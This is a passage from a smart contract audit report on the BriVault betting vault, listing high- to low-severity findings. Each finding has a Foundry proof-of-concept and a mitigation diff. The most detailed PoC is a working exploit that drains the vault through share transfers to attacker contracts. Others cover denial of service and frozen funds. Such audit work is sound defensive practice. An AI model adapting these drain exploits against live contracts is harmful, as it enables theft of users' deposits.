10        IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
11        emit Withdraw(msg.sender, assetToWithdraw);
12 }
```

**Impact:** Pools share manipulation, protocol drain, other users funds loss.

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

1. Attacker deposits huge pile of tokens to the vault, but does not join the contest
2. Attacker deploys  $n$  = number of teams contracts that deposit small amount and join the team / bet on the team
3. Time wraps to the point when no bets not longer accepted

4. Admin sets the winner.
5. Attacker transfers through Vault transfer functions his shares to the winning attacker's contract address.
6. Attacker's contract withdraws all the shares, leaving other winners with no rewards.

```
1 // attacker template contract
2 contract InflationAttack {
3     BriVault public s_briVault;
4     MockERC20 public s_mockToken;
5
6     address s_owner;
7
8     constructor(BriVault _briVault, MockERC20 _mockToken, address
9         _owner) {
10         s_briVault = _briVault;
11         s_mockToken = _mockToken;
12         s_owner = _owner;
13     }
14
15     function attack(uint256 team) public {
16         s_mockToken.approve(address(s_briVault), 5 ether);
17         s_briVault.deposit(5 ether, address(this));
18         s_briVault.joinEvent(team);
19     }
20 }
21
22 // full attack PoC
23 function test_InflationAttackPoC() public {
24     // setup
25     address attacker = makeAddr("attacker");
26     address[] memory teamToDeployedAddresses = new address[](48);
27     mockToken.mint(attacker, 1000_000 ether);
28     uint256 attackerInitialBalance = mockToken.balanceOf(attacker);
29     uint8 WINNER_TEAM = 10;
30
31     vm.startPrank(owner);
32     briVault.setCountry(countries);
33     vm.stopPrank();
34
35     // users deposit and join the event
36     vm.startPrank(user1);
37     mockToken.approve(address(briVault), 10 ether);
38     briVault.deposit(10 ether, user1);
39     briVault.joinEvent(10);
40     vm.stopPrank();
41
42     vm.startPrank(user2);
43     mockToken.approve(address(briVault), 10 ether);
44     briVault.deposit(10 ether, user2);
45     briVault.joinEvent(2);
```

```
45     vm.stopPrank();
46
47     vm.startPrank(user3);
48     mockToken.approve(address(briVault), 10 ether);
49     briVault.deposit(10 ether, user3);
50     briVault.joinEvent(1);
51     vm.stopPrank();
52
53     // attacker deposits and join the event
54     vm.startPrank(attacker);
55
56     // deploy 48 attack contracts, in order to cover all options
57     for (uint256 i = 0; i < 48; i++) {
58         InflationAttack attackContract = new InflationAttack(briVault,
59             mockToken, attacker);
60         teamToDeployedAddresses[i] = address(attackContract);
61         mockToken.transfer(address(attackContract), 5 ether);
62         attackContract.attack(i);
63     }
64
65     // attacker inflates vault with funds, for example with total vault
66     // balance
67     uint256 vaultBalance = mockToken.balanceOf(address(briVault));
68     mockToken.approve(address(briVault), vaultBalance);
69     briVault.deposit(vaultBalance, attacker);
70     vm.stopPrank();
71
72     // time goes by, and owner announces the winner
73     vm.startPrank(owner);
74     vm.warp(eventEndDate + 1);
75     briVault.setWinner(WINNER_TEAM);
76     vm.stopPrank();
77
78     // possibly, attacker back-running the `setWinner` transaction in
79     // order to maximise the profit
80     // attacker transfers max amount of shares to winner the contracts (
81     // one of 48 contracts)
82     uint256 amountOfSharesToInflate =
83         briVault.totalWinnerShares() - briVault.balanceOf(
84             teamToDeployedAddresses[WINNER_TEAM]);
85     uint256 sharesToMove = briVault.balanceOf(attacker) >
86         amountOfSharesToInflate
87         ? amountOfSharesToInflate
88         : briVault.balanceOf(attacker);
89     vm.startPrank(attacker);
90     briVault.transfer(teamToDeployedAddresses[WINNER_TEAM],
91         sharesToMove);
92     vm.stopPrank();
93
94     // attacker's winner contract withdraws / drains the vault
95     vm.startPrank(teamToDeployedAddresses[WINNER_TEAM]);
```

```
89     uint256 balanceBeforeAttackWithdraw = mockToken.balanceOf(
90         teamToDeployedAddresses[WINNER_TEAM]);
91     console.log("attacker initial before withdraw      : ",
92         attackerInitialBalance);
93     console.log("briVault balance before withdraw      : ", mockToken.
94         balanceOf(address(briVault)));
95     console.log("\n");
96     console.log("attacker's contract before withdraw    : ",
97         balanceBeforeAttackWithdraw);
98     briVault.withdraw();
99     uint256 balanceAfterAttackWithdraw = mockToken.balanceOf(
100         teamToDeployedAddresses[WINNER_TEAM]);
101     console.log("attacker's contract after withdraw     : ",
102         balanceAfterAttackWithdraw);
103     mockToken.transfer(attacker, balanceAfterAttackWithdraw);
104     vm.stopPrank();
105
106     uint256 briVaultBalanceAfter = mockToken.balanceOf(address(briVault
107         ));
108     uint256 attackerAfterBalance = mockToken.balanceOf(attacker);
109     console.log("\n");
110     console.log("briVault balance after withdraw      : ",
111         briVaultBalanceAfter);
112     console.log("attacker balance after withdraw      : ", mockToken.
113         balanceOf(attacker));
114     uint256 profitFromAttack = attackerAfterBalance -
115         attackerInitialBalance;
116     console.log("attacker profit from attack          : ",
117         profitFromAttack);
118
119     assertEq(briVaultBalanceAfter, 0, "briVault balance after with is 0
120         ");
121     assertGt(mockToken.balanceOf(attacker), 1000_000, "Attacker balance
122         grater then initial supply");
123
124     // other winners cannot withdraw, not inough balance
125     vm.prank(user1);
126     vm.expectRevert();
127     briVault.withdraw();
128 }
129
130 // a simplified version of the attack
131 function test_InflationAttackSimplePoC() public {
132     // setup
133     address attacker = makeAddr("attacker");
134     address[] memory teamToDeployedAddresses = new address[](48);
135     mockToken.mint(attacker, 1000_000 ether);
136     uint256 attackerInitialBalance = mockToken.balanceOf(attacker);
137     uint8 WINNER_TEAM = 10;
138
139     vm.startPrank(owner);
```

```
127     briVault.setCountry(countries);
128     vm.stopPrank();
129
130     // users deposit and join the event
131     vm.startPrank(user1);
132     mockToken.approve(address(briVault), 10 ether);
133     briVault.deposit(10 ether, user1);
134     briVault.joinEvent(10);
135     vm.stopPrank();
136
137     vm.startPrank(user2);
138     mockToken.approve(address(briVault), 10 ether);
139     briVault.deposit(10 ether, user2);
140     briVault.joinEvent(10);
141     vm.stopPrank();
142
143     vm.startPrank(user3);
144     mockToken.approve(address(briVault), 10 ether);
145     briVault.deposit(10 ether, user3);
146     briVault.joinEvent(1);
147     vm.stopPrank();
148
149     // attacker deposits and join the event
150     vm.startPrank(attacker);
151
152     // attacke inflates vault with funds, for example with total vault
153     // balance
154     mockToken.approve(address(briVault), 100 ether);
155     briVault.deposit(100 ether, attacker);
156     vm.stopPrank();
157
158     // time goes by, and onwer annonces the winner
159     vm.startPrank(owner);
160     vm.warp(eventEndDate + 1);
161     briVault.setWinner(WINNER_TEAM);
162     vm.stopPrank();
163
164     // possibly, attackker back-running the `setWinner` transaction in
165     // order to maximase the profit
166     // atacker transfers max amount of shares to the winner
167     uint256 amountOfSharesToInflate = briVault.totalWinnerShares() -
168     briVault.balanceOf(user1);
169     uint256 sharesToMove = briVault.balanceOf(attacker) >
170     amountOfSharesToInflate
171     ? amountOfSharesToInflate
172     : briVault.balanceOf(attacker);
173     vm.startPrank(attacker);
174     briVault.transfer(user1, sharesToMove);
175     vm.stopPrank();
176
177     // attacker's winner contract withdraws / drains the vault
```

```
174     vm.startPrank(user1);
175     console.log("briVault balance before withdraw      : ", mockToken.
        balanceOf(address(briVault)));
176     console.log("\n");
177     console.log("user1 balance before withdraw      : ", mockToken.
        balanceOf(user1));
178     briVault.withdraw();
179     console.log("user1 balance after withdraw       : ", mockToken.
        balanceOf(user1));
180     vm.stopPrank();
181
182     uint256 briVaultBalanceAfter = mockToken.balanceOf(address(briVault
        ));
183     console.log("\n");
184     console.log("briVault balance after withdraw      : ",
        briVaultBalanceAfter);
185
186     assertEq(briVaultBalanceAfter, 0, "briVault balance after with is 0
        ");
187
188     // other winners cannot withdraw, not inough balance
189     vm.prank(user2);
190     vm.expectRevert();
191     briVault.withdraw();
192 }
```

**Recommended Mitigation:** Modify `withdraw` function in order to account only user shares from `userSharesToCountry` mapping based on the `msg.sender` and `winnerCountryId` keys.

```
1     function withdraw() external winnerSet {
2         if (block.timestamp < eventEndDate) {
3             revert eventNotEnded();
4         }
5
6         if (keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
            keccak256(abi.encodePacked(winner))) {
7             revert didNotWin();
8         }
9         - uint256 shares = balanceOf(msg.sender);
10        + uint256 shares = userSharesToCountry[msg.sender][
            winnerCountryId];
11
12        uint256 vaultAsset = finalizedVaultAsset;
13        uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset,
            totalWinnerShares);
14
15        _burn(msg.sender, shares);
16
17        IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
18
19        emit Withdraw(msg.sender, assetToWithdraw);
```

```
20    }
```

#### [H-4] Stale `joinEvent::userSharesToCountry` snapshot causes unfair payouts and potential insolvency.

**Description:** The `userSharesToCountry` is set only once a user calls the `joinEvent` function, any later additional deposits increase only the user balance but does not allocate more shares. Since `userSharesToCountry` is used to calculate rewards at the `withdraw` function call this disbalance causes incorrect rewards distributions, allow early withdrawers receive more tokens and cause Denial of Service for those who withdraw later as the balance of the vault might already be drained.

**Impact:** Incorrect rewards distribution, early withdrawals would receive more funds, than those who call withdraw later. Some user might experience denial of service (DoS) as the balance of the vault might be lower than calculated payout.

#### Proof of Concept:

```
1  function test_depositsAfterJoinEventCausesIncorrectPayoutAndDoS()
2      public {
3          vm.prank(owner);
4          briVault.setCountry(countries);
5
6          uint256 depositAmount = 5e18;
7
8          vm.startPrank(user1);
9          mockToken.approve(address(briVault), 2 * depositAmount);
10         briVault.deposit(2 * depositAmount, user1);
11         briVault.joinEvent(0);
12         vm.stopPrank();
13
14         vm.startPrank(user2);
15         mockToken.approve(address(briVault), 2 * depositAmount);
16         briVault.deposit(depositAmount, user2);
17         briVault.joinEvent(0);
18         briVault.deposit(depositAmount, user2);
19         vm.stopPrank();
20
21         vm.warp(eventEndDate + 1);
22         vm.prank(owner);
23         briVault.setWinner(0);
24
25         uint256 totalInVault = mockToken.balanceOf(address(briVault));
26
27         vm.prank(user2);
28         briVault.withdraw();
29         uint256 user1WithdrawAmount = totalInVault - mockToken.balanceOf(
30             address(briVault));
```

```
29     console.log(user1WithdrawAmount);
30
31     vm.expectRevert();
32     vm.prank(user1);
33     briVault.withdraw();
34 }
```

**Recommended Mitigation:** To prevent this issue, integrate the deposit and joinEvent logic. Doing so ensures that each deposit is tied to a specific team and that all shares are correctly included in team accounting.

```
1 -   function deposit(uint256 assets, address receiver) public override
    returns (uint256) {
2 +   function deposit(uint256 assets, address receiver, uint256
    countryId) public override returns (uint256) {
3       ...
4 +   joinEvent(countryId);
5       return participantShares;
6   }
7 -   function joinEvent(uint256 countryId) public {
8 +   function joinEvent(uint256 countryId) internal {
9       ...
10  }
```

## Medium

### [M-1] The `cancelParticipation` leaves ghost state, inflating `totalWinnerShares` and reduces winning payouts.

**Description:** The `BriVault::joinEvent` function modifies these state variables: - `userToCountry` - `userSharesToCountry` - `usersAddress` - `numberOfParticipants` - `totalParticipantShares`

some of these state variables are accounted at `withdraw`, `_getWinnerShares` the rest just log the value and shares. However, when a user `cancelParticipation` these state variables leaved unchanged and later accounted during rewards distribution. This causes `totalWinnerShares` inflation and reduction of winners payouts, negatively affecting the protocol reputation.

**Impact:** Cancelled users data is accounted during reward calculation and distribution. Users payout are manipulated and reduced. Protocols' reputation is affected as users would not trust their funds to it.

#### Proof of Concept:

```
1     function test_cancelParticipationInflatesTotalWinnerShares() public
    {
2         vm.prank(owner);
```



```
3      briVault.setCountry(countries);
4
5      uint256 depositAmount = 10e18;
6      uint256 user1Shares;
7      uint256 user2Shares;
8      uint256 user3Shares;
9      uint256 vaultBalance;
10
11     vm.startPrank(user1);
12     mockToken.approve(address(briVault), depositAmount);
13     briVault.deposit(depositAmount, user1);
14     briVault.joinEvent(1);
15     user1Shares = briVault.balanceOf(user1);
16     vm.stopPrank();
17
18     vm.startPrank(user2);
19     mockToken.approve(address(briVault), depositAmount);
20     briVault.deposit(depositAmount, user2);
21     briVault.joinEvent(1);
22     user2Shares = briVault.balanceOf(user2);
23     vm.stopPrank();
24
25     vm.startPrank(user3);
26     mockToken.approve(address(briVault), depositAmount);
27     briVault.deposit(depositAmount, user3);
28     briVault.joinEvent(1);
29     user3Shares = briVault.balanceOf(user3);
30     briVault.cancelParticipation();
31     vm.stopPrank();
32
33     vm.warp(eventEndDate + 1);
34     vm.prank(owner);
35     briVault.setWinner(1);
36
37     vaultBalance = mockToken.balanceOf(address(briVault));
38
39     uint256 expectedTotalWinnerShares = user1Shares + user2Shares;
40
41     assertGt(briVault.totalWinnerShares(),
42             expectedTotalWinnerShares);
43     assertEquals(briVault.userToCountry(user3), countries[1]);
44     assertEquals(briVault.userSharesToCountry(user3, 1), user3Shares);
45     assertEquals(briVault.usersAddress(2), user3);
46     assertEquals(briVault.numberOfParticipants(), 3);
47     assertEquals(briVault.totalParticipantShares(), user1Shares +
48             user2Shares + user3Shares);
```

**Recommended Mitigation:**

Properly clear state variable after cancelation.

```
1 + mapping(address => uint256) private userToAddressIndex;
2   .
3   .
4   .
5   function joinEvent(uint256 countryId) public {
6       if (stakedAsset[msg.sender] == 0) {
7           revert noDeposit();
8       }
9
10      // Ensure countryId is a valid index in the `teams` array
11      if (countryId >= teams.length) {
12          revert invalidCountry();
13      }
14
15      if (block.timestamp > eventStartDate) {
16          revert eventStarted();
17      }
18
19      userToCountry[msg.sender] = teams[countryId];
20
21      uint256 participantShares = balanceOf(msg.sender);
22      userSharesToCountry[msg.sender][countryId] = participantShares;
23
24      usersAddress.push(msg.sender);
25 +   userToAddressIndex[msg.sender] = usersAddress.length - 1;
26      numberOfParticipants++;
27      totalParticipantShares += participantShares;
28
29      emit joinedEvent(msg.sender, countryId);
30  }
31  .
32  .
33  .
34  function cancelParticipation() public {
35      if (block.timestamp >= eventStartDate) {
36          revert eventStarted();
37      }
38
39      uint256 refundAmount = stakedAsset[msg.sender];
40
41      stakedAsset[msg.sender] = 0;
42
43      uint256 shares = balanceOf(msg.sender);
44
45      string memory country = userToCountry[msg.sender];
46
47      uint256 countryId;
48
49      for (uint256 i = 0; i < teams.length; ++i) {
50          if (keccak256(abi.encodePacked(teams[i])) == keccak256(abi.
              encodePacked(country))) {
```

```
51         countryId = i;
52         break;
53     }
54 }
55 +
56 +     delete userToCountry[msg.sender];
57 +
58 +     delete userSharesToCountry[msg.sender][countryId];
59 +
60 +     uint256 userIndex = userToAddressIndex[msg.sender];
61 +     uint256 lastIndex = usersAddress.length - 1;
62 +     address lastAddress = usersAddress[lastIndex];
63 +
64 +     if (userIndex < lastIndex) {
65 +         usersAddress[userIndex] = lastAddress;
66 +         userToAddressIndex[lastAddress] = userIndex;
67 +         usersAddress.pop();
68 +     } else {
69 +         usersAddress[lastIndex] = address(0);
70 +     }
71 +
72 +     delete userToAddressIndex[msg.sender];
73 +     delete userSharesToCountry[msg.sender][countryId];
74 +
75 +     numberOfParticipants--;
76 +     totalParticipantShares -= shares;
77 +
78     _burn(msg.sender, shares);
79
80     IERC20(asset()).safeTransfer(msg.sender, refundAmount);
81 }
```

**[M-2] The setWinner iterates through unlimited array of participants, denial of service due to block gas limit.**

**Description:** Normal behavior expects that critical admin functions like setWinner() should be executable regardless of the number of participants. The function should use constant-time operations or batched processing.

The current implementation uses an unbounded loop in \_getWinnerShares() that iterates over every address in usersAddress[]. As this array grows, gas consumption increases linearly until it exceeds the block gas limit.

**Impact:** \* Winner can never be set once participant count exceeds gas limit threshold (~2000-5000 users depending on gas costs) \* All participant funds permanently locked in contract \* No winners can withdraw, no resolution possible \* Contract becomes completely non-functional \* Entire tournament

pool lost with no recovery mechanism \* Owner cannot salvage the situation even with admin privileges

\* Reputational damage and potential legal liability\*

**Proof of Concept:** Add the following code snippet to the `briVault.t.sol` test file.

```
1     function testDOSWithManyParticipants() public {
2         vm.prank(owner);
3         briVault.setCountry(countries);
4
5         // Create enough users to cause DOS
6         for (uint256 i = 0; i < 5000; i++) {
7             address user = address(uint160(i + 1));
8             mockToken.mint(user, 1000 ether);
9             vm.startPrank(user);
10            mockToken.approve(address(briVault), 1000e18);
11            briVault.deposit(1000e18, user);
12            briVault.joinEvent(0);
13            vm.stopPrank();
14        }
15
16        vm.warp(eventEndDate + 1);
17
18        // Owner tries to set winner with limited gas (simulating block
19        // gas limit)
20        // This transaction will run out of gas due to the loop in
21        // _getWinnerShares()
22        // If amount of participants is high enough (eg. 5000) this
23        // will fail
24        uint256 gasStart = gasleft();
25        vm.prank(owner);
26        (bool success,) = address(briVault).call{gas: 6303632}(abi.
27            encodeWithSignature("setWinner(uint256)", 0));
28
29        uint256 gasUsed = gasStart - gasleft();
30        console.log("Gas used in setWinner with many participants: ",
31            gasUsed); //6_396_743
32        assertFalse(success, "setWinner should have run out of gas");
33    }
```

### Recommended Mitigation:

```
1 + mapping(uint256 => uint256) public countryShares; // countryId =>
2   total shares
3 .
4 .
5 function joinEvent(uint256 countryId) public {
6     // ... existing checks ...
7
8     uint256 participantShares = balanceOf(msg.sender);
9     userSharesToCountry[msg.sender][countryId] = participantShares;
```

```
10 + // Track shares per country incrementally
11 + countryShares[countryId] += participantShares;
12
13     usersAddress.push(msg.sender);
14     numberOfParticipants++;
15     totalParticipantShares += participantShares;
16
17     emit joinedEvent(msg.sender, countryId);
18 }
19 .
20 .
21 .
22 function setWinner(
23     uint256 countryIndex
24 ) public onlyOwner returns (string memory) {
25     // ... existing checks ...
26
27     winnerCountryId = countryIndex;
28     winner = teams[countryIndex];
29     _setWinner = true;
30 - _getWinnerShares();
31 + // No loop needed - O(1) operation
32 + totalWinnerShares = countryShares[countryIndex];
33
34
35     _setFinalizedVaultBalance();
36     emit WinnerSet(winner);
37     return winner;
38 }
39 - function _getWinnerShares() internal returns (uint256) {
40 -     for (uint256 i = 0; i < usersAddress.length; ++i) {
41 -         address user = usersAddress[i];
42 -         totalWinnerShares += userSharesToCountry[user][winnerCountryId
43     ];
44 -     }
45 -     return totalWinnerShares;
46 - }
```

## Low

### [L-1] Division-by-Zero in withdraw() Leads to Permanent Freezing of All Vault Assets

**Description:** The withdraw function calculates winnings by dividing the prize pool by the total shares of all winners. If the contract owner declares a winner that no participant chose, the number of winner shares becomes zero. This causes a division-by-zero error, making the withdraw function fail every time it's called. Because there is no other way to retrieve the funds, this error results in all assets being permanently locked in the vault.

**Impact:** \* Permanent Loss of Funds: The division-by-zero error prevents the withdraw function from ever successfully executing for any user. \* Total Contract Failure: As there is no alternative withdrawal or recovery mechanism, all assets within the vault become permanently frozen and cannot be retrieved by users or the contract owner.

**Proof of Concept:** The test demonstrates the vulnerability by having users deposit funds and bet on various teams. After the event, the owner intentionally declares a winner that nobody selected, which sets the count of “winner shares” to zero. The test then confirms that since no one is eligible to withdraw and the withdrawal function is now broken due to the division-by-zero error, all the deposited funds are proven to be permanently frozen.

```
1 function test_winnerHasNoSharesDivisionByZero() public {
2     uint256 depositAmount = 10e18;
3
4     vm.startPrank(user1);
5     mockToken.approve(address(briVault), depositAmount);
6     briVault.deposit(depositAmount, user1);
7     briVault.joinEvent(1);
8     vm.stopPrank();
9
10    vm.startPrank(user2);
11    mockToken.approve(address(briVault), depositAmount);
12    briVault.deposit(depositAmount, user2);
13    briVault.joinEvent(2);
14    vm.stopPrank();
15
16    vm.warp(eventEndDate + 1);
17    vm.prank(owner);
18    briVault.setWinner(0);
19
20    vm.startPrank(user1);
21    vm.expectRevert();
22    briVault.withdraw();
23    vm.stopPrank();
24 }
```

### Recommended Mitigation:

```
1 function withdraw() external winnerSet {
2     if (block.timestamp < eventEndDate) {
3         revert eventNotEnded();
4     }
5
6     if (keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
7         keccak256(abi.encodePacked(winner))) {
8         revert didNotWin();
9     }
10 +     if (totalWinnerShares == 0) {
```

```
11 +         revert NoWinners();
12 +     }
13
14     uint256 shares = balanceOf(msg.sender);
15
16     uint256 vaultAsset = finalizedVaultAsset;
17     uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset,
        totalWinnerShares);
18
19     _burn(msg.sender, shares);
20
21     IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
22
23     emit Withdraw(msg.sender, assetToWithdraw);
24 }
25 + /**
26 +  * @notice Allows the owner to recover all funds if no winner was
    found.
27 +  * @dev This function is a critical failsafe to prevent funds from
    being locked.
28 +  * It should only be callable after a winner has been set and
    totalWinnerShares is confirmed to be 0.
29 +  */
30 + function recoverFundsIfNoWinner() external onlyOwner {
31 +     if (_setWinner != true) {
32 +         revert winnerNotSet();
33 +     }
34 +     if (totalWinnerShares != 0) {
35 +         revert("Cannot recover funds, there are winners");
36 +     }
37 +
38 +     uint256 totalBalance = IERC20(asset()).balanceOf(address(this))
    ;
39 +     IERC20(asset()).safeTransfer(owner(), totalBalance);
40 + }
```

**Comments:**

Some how the permanent loss of funds has not been considered High or Medium even though there is no recovery mechanism in case winner is set to team / country that no one deposited to. Probably due to the fact that admin is "TRUSTED".

**[L-2] deposit function may emit inaccurate events.**

**Description:** \* When a user calls the deposit function, the event emit deposited will always be emitted.  
\* However, due to incomplete parameters in the event, off-chain monitoring may be inaccurate.

```
1     function deposit(uint256 assets, address receiver) public override
        returns (uint256) {
```

```
2      // Original code ...
3  @>    emit deposited (receiver, stakeAsset);
4      // Original code ...
5  }
```

**Impact:** \* When the depositor and the share receiver are not the same address, off-chain systems cannot identify the “actual depositor”.

**Proof of Concept:**

```
1
2  function test__deposit_whenCallerNotEqualReceiver() public {
3      vm.recordLogs();
4
5      vm.startPrank(user1);
6      mockToken.approve(address(briVault), 20 ether);
7      // user1 deposits funds into the vault, but the address
8      // receiving the shares is user2
9      briVault.deposit(20 ether, user2);
10     vm.stopPrank();
11
12     Vm.Log[] memory logs = vm.getRecordedLogs();
13
14     // Check logs
15     address depositor = address(0);
16     for (uint i=0; i<logs.length; i++) {
17         if (logs[i].topics[0] == keccak256("deposited(address,
18             uint256)")) {
19             depositor = address(uint160(uint256(logs[i].topics[1])))
20             );
21             break;
22         }
23     }
24
25     vm.assertTrue(depositor != address(0));
26     vm.assertTrue(user1 != depositor);
27 }
```

**Recommended Mitigation:** Follow the ERC4626 standard practice by including complete parameters in the event, properly defining “sender” and “owner”.

```
1  -   event deposited (address indexed _depositor, uint256 _value);
2  +   event deposited (address indexed _sender, address indexed
3      _depositor, uint256 _value);
4
5  function deposit(uint256 assets, address receiver) public override
6      returns (uint256) {
7      // Original code ...
8
9      emit deposited (receiver, stakeAsset);
```



```
8 +         emit deposited (msg.sender, receiver, stakeAsset);
9
10        // Original code ...
11    }
```

**Comments:** My finding “[L-2] `BriVault.deposit` should emit standard event `Deposit`, emits different one” has been rejected by judge even though the core issue is the same.

### [L-3] Rounding Dust Locks Assets

**Description:** \* Winners should fully drain the vault after final withdrawals. \* `Math.mulDiv` rounds down; without a “last user sweeps remainder” path, dust accumulates and the final withdrawer can lack funds.

```
1 // src/briVault.sol:305-314
2     uint256 vaultAsset = finalizedVaultAsset;
3 @> uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset,
4     totalWinnerShares);
5     IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
```

**Impact:** \* Last withdrawer may receive slightly less or revert due to insufficient balance. \* Dust builds up across tournaments, leaving stranded funds.

#### Proof of Concept:

```
1 // 3 winners, each 100 shares, vault 1000 wei
2 // Each withdrawal gets 333 wei, leaving 1 wei stuck forever.
```

#### Recommended Mitigation:

```
1 + mapping(address => bool) public hasWithdrawn;
2     function withdraw() external winnerSet {
3 +     require(!hasWithdrawn[msg.sender], "already withdrawn");
4         uint256 shares = balanceOf(msg.sender);
5         uint256 vaultAsset = finalizedVaultAsset;
6         uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset,
7             totalWinnerShares);
8 +         if (totalSupply() == shares) {
9 +             assetToWithdraw = IERC20(asset()).balanceOf(address(this));
10        }
11        _burn(msg.sender, shares);
12        hasWithdrawn[msg.sender] = true;
13        IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
14    }
```

**[L-4] Support for Non-Standard ERC20 Assets (Fee-on-Transfer or Rebasing)**

**Description:** \* The vault uses ERC20 asset transfers in deposit, withdraw, and cancelParticipation, assuming standard behavior where transferred amounts match exactly and balances don't change unexpectedly. \* Share calculations in `_convertToShares` and payouts in `withdraw` rely on precise `IERC20(asset()).balanceOf(address(this))` readings. \* The issue is that if the asset is fee-on-transfer (e.g., deducts 1% on transfer) or rebasing (e.g., balances auto-adjust for yield), the vault receives less than expected in deposits or sees fluctuating balances, leading to over-minting shares or insufficient assets for withdrawals. \* This causes incorrect share allocation, vault insolvency, or unfair dilution, as the contract doesn't account for or reject non-standard tokens.

**Impact:** \* Over-minted shares lead to insufficient assets on withdrawals, causing vault insolvency. \* Users receive unfair or zero payouts, resulting in funds loss or dilution.

**Proof of Concept:** Add poc code as a separate test file Run forge test –mt testFeeOnTransferOverMint

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.8.24;
3
4 import "forge-std/Test.sol";
5 import {BriVault} from "./BriVault.sol"; // Assume BriVault is in the
    same directory
6
7 contract FeeToken is ERC20 {
8     uint256 constant FEE_BPS = 100; // 1% fee on transfer
9
10    constructor() ERC20("FeeToken", "FEE") {}
11
12    function mint(address to, uint256 amount) external {
13        _mint(to, amount);
14    }
15
16    function transferFrom(address from, address to, uint256 amount)
17        public override returns (bool) {
18        uint256 fee = (amount * FEE_BPS) / 10000;
19        _burn(from, fee);
20        _transfer(from, to, amount - fee);
21        return true;
22    }
23
24    function transfer(address to, uint256 amount) public override
25        returns (bool) {
26        uint256 fee = (amount * FEE_BPS) / 10000;
27        _burn(msg.sender, fee);
28        _transfer(msg.sender, to, amount - fee);
29        return true;
30    }
31 }
```

```
30
31 contract BriVaultPoCTest is Test {
32     BriVault vault;
33     FeeToken asset; // Fee-on-transfer token
34     address owner = address(this);
35     address user = address(0x123);
36     uint256 participationFeeBsp = 100; // 1%
37     uint256 eventStartDate = block.timestamp + 1 days;
38     uint256 eventEndDate = block.timestamp + 2 days;
39     uint256 minimumAmount = 100;
40     address participationFeeAddress = address(0xfee);
41
42     function setUp() public {
43         asset = new FeeToken();
44         vault = new BriVault(IERC20(address(asset)),
45             participationFeeBsp, eventStartDate, participationFeeAddress
46             , minimumAmount, eventEndDate);
47
48         string[48] memory countries;
49         for (uint i = 0; i < 48; i++) {
50             countries[i] = "Country";
51         }
52         vault.setCountry(countries);
53
54         asset.mint(user, 1e18 + 1e16); // Extra for fees
55         vm.prank(user);
56         asset.approve(address(vault), 1e18 + 1e16);
57     }
58
59     function testFeeOnTransferOverMint() public {
60         uint256 depositAmount = 10000;
61         uint256 expectedReceived = depositAmount * (10000 - 100) /
62             10000; // 1% less due to fee token
63
64         vm.prank(user);
65         uint256 shares = vault.deposit(depositAmount, user);
66
67         // Over-minted: shares based on full amount, but vault received
68         // less
69         uint256 actualBalance = IERC20(address(asset)).balanceOf(
70             address(vault));
71         assertLt(actualBalance, depositAmount - (depositAmount *
72             participationFeeBsp / 10000), "Vault received less due to
73             fee token");
74
75         // Later withdraw would fail due to shortfall
76     }
77 }
```

**Recommended Mitigation:** Add token compatibility checks and virtual assets for rebasing In constructor - revert if incompatible For rebasing: use virtual offsets as in inflation mitigation

```
1
2 + function isCompatibleToken(IERC20 token) internal view returns (bool)
3 + {
4 +     // Test transfer and balance consistency
5 +     return true; // Implement checks (e.g., transfer 1 wei, verify
6 +     balance)
7 + }
8
9 constructor (...) {
10 +     if (!isCompatibleToken(_asset)) revert("Incompatible asset");
11 +     ...
12 }
13
14 + uint256 internal constant VIRTUAL_ASSETS = 1;
15 + uint256 internal constant VIRTUAL_SHARES = 1e18;
16
17 function totalAssets() public view override returns (uint256) {
18 -     return IERC20(asset()).balanceOf(address(this));
19 +     return IERC20(asset()).balanceOf(address(this)) + VIRTUAL_ASSETS;
20 }
```